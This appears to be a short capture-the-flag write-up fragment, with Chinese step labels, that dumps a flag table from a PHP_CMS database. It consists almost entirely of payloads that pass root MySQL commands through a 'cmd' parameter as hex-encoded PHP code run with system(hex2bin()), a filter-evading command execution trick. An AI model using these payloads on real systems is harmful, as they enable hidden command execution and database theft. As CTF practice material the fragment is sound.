mysql -u root -p'root'-e 'use PHP_CMS;SHOW TABLES' cmd=php -r $a=substr(Z6d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b53484f57205441424c455327,1);system(hex2bin($a));
查表列
1 2
mysql -u root -p'root'-e 'show columns from PHP_CMS.F1ag_Se3Re7' cmd=php+-r$a=substr(Z6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f7720636f6c756d6e732066726f6d205048505f434d532e463161675f53653352653727,1);system(hex2bin($a));
读字段
1 2
mysql -u root -p'root'-e 'select flag66_2024 from PHP_CMS.F1ag_Se3Re7' cmd=php+-r$a=substr(Z6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773656c65637420666c616736365f323032342066726f6d205048505f434d532e463161675f53653352653727,1);system(hex2bin($a));
也可以直接一步到位
1 2
mysql -u root -p'root'-e 'select * from PHP_CMS.F1ag_Se3Re7' cmd=php+-r$a=substr(Z6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773656c656374202a2066726f6d205048505f434d532e463161675f53653352653727,1);system(hex2bin($a));